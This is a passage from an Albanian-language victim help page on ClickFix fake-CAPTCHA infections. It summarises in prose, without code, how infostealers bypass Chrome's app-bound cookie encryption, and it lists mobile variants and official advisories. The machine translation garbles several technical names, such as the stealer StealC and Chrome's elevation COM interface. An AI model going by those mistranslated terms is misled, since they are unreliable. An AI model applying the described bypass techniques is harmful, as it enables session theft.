Duke filluar në Chrome 127+, Google prezantoi enkriptimin e lidhur me aplikacionin në Windows, i cili lidh enkriptimin e kukive (`v20` prefiks) në një shërbim të ngritur të sistemit Windows (`GoogleChromeElevationService`) për të ndaluar malware me privilegje të ulët nga deshifrimi i skedarëve të skedarëve. Megjithatë, ndërtimet moderne të Lumma vjedhës, VjedhjaC, dhe Medusa anashkaloni në mënyrë aktive enkriptimin e lidhur me aplikacionin duke injektuar kodin drejtpërdrejt në një shembull pa kokë të chrome.exe, duke abuzuar me portën e korrigjimit në distancë të Chrome (--porti i korrigjimit në distancë), ose duke ngritur privilegjet për të thirrur IE ashensor Ndërfaqja COM. Asnjëherë mos supozoni se Chrome 127+ mbronte kukit e sesionit tuaj nëse keni ekzekutuar një ngarkesë të dobishme ClickFix; gjithmonë anuloni të gjitha seancat menjëherë.

A mund të infektojë telefonin tim një komandë ClickFix e ekzekutuar në telefonin tim iPhone ose Android Win + R malware?¶

Nëse keni prekur një CAPTCHA të rreme në një iPhone (`iOS`) ose telefon Android, çdo Windows PowerShell / mshta.exe komanda e kopjuar në kujtesën tuaj celular nuk mund të ekzekutohet në iOS ose Android, sepse sistemet operative celulare nuk kanë a Win + R Ekzekuto dialogun, powershell.exe, ose mshta.exe. Megjithatë, disa faqe ClickFix të ndërgjegjshme për celularin zbulojnë agjentin tuaj të përdoruesit celular dhe ju ridrejtojnë për të instaluar një Android keqdashës .apk skedar, një menaxhim mashtrues i pajisjes celulare iOS (`MDM`) profilin e konfigurimit ose një abonim me qëllim të keq për njoftimin PWA/Web Push. Kontrolloni që nuk keni instaluar ndonjë skedar ose profil të shkarkuar.

Udhëzues të lidhur¶

• Rrëmbimi i kukive të sesionit, softueri keqdashës i vjedhjes së informacionit dhe revokimi i çelësit të kalimit
• Kullimi i portofolit të kriptomonedhës dhe kompromisi i frazës së farës
• Infeksion malware, ransomware dhe spyware
• Llogaria e emailit është hakuar, rregullat e përcjelljes dhe rikuperimi
• Kompromisi i paketës së zinxhirit të furnizimit npm/PyPI dhe rrotullimi i çelësit të stacionit të punës së zhvilluesit
• Skeareware të rremë antivirus, mesazhe të padëshiruara të njoftimeve dhe spastrim i lejes së shfletuesit
• Numrat e urgjencës sipas vendit

Burimet dhe udhëzimet zyrtare¶

• Agjencia e Sigurisë Kibernetike dhe Sigurisë së Infrastrukturës (CISA) dhe Byroja Federale e Hetimit (FBI) (Shtetet e Bashkuara): Këshillim i përbashkët për sigurinë kibernetike (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): Zbutja e jetesës jashtë tokës (LOLBin) dhe Sulmet e Vjedhjes së Tokenit të Sesionit.
• Instituti Kombëtar i Standardeve dhe Teknologjisë (NIST) (Shtetet e Bashkuara): Publikimi i posaçëm 800-61 Rev. 2: Udhëzues për trajtimin e incidenteve të sigurisë kompjuterike & SP 800-63B: Udhëzimet e identitetit dixhital (Menaxhimi i sesionit dhe riautentifikimi).
• Inteligjenca e Kërcënimeve të Microsoft (Microsoft Security): Analiza e fushatave të inxhinierisë sociale të ClickFix, Injeksioni i rremë në Clipboard CAPTCHA (RunMRU), dhe Regjistrimi i bllokut të skripteve PowerShell (Event ID 4104).
• Qendra Kombëtare e Sigurisë Kibernetike (NCSC) (Mbretëria e Bashkuar): Zbutja e sulmeve të malware dhe ransomware dhe udhëzime për vjedhjen e kredencialeve të nivelit të pajisjes.
• Agjencia e Bashkimit Evropian për Sigurinë Kibernetike (ENISA): Raporti i peizazhit të kërcënimit ENISA: Info-vjedhës (Lumma, StealC, RedLine, AMOS) dhe Kundërmasat e rrëmbimit të kukive të sesionit.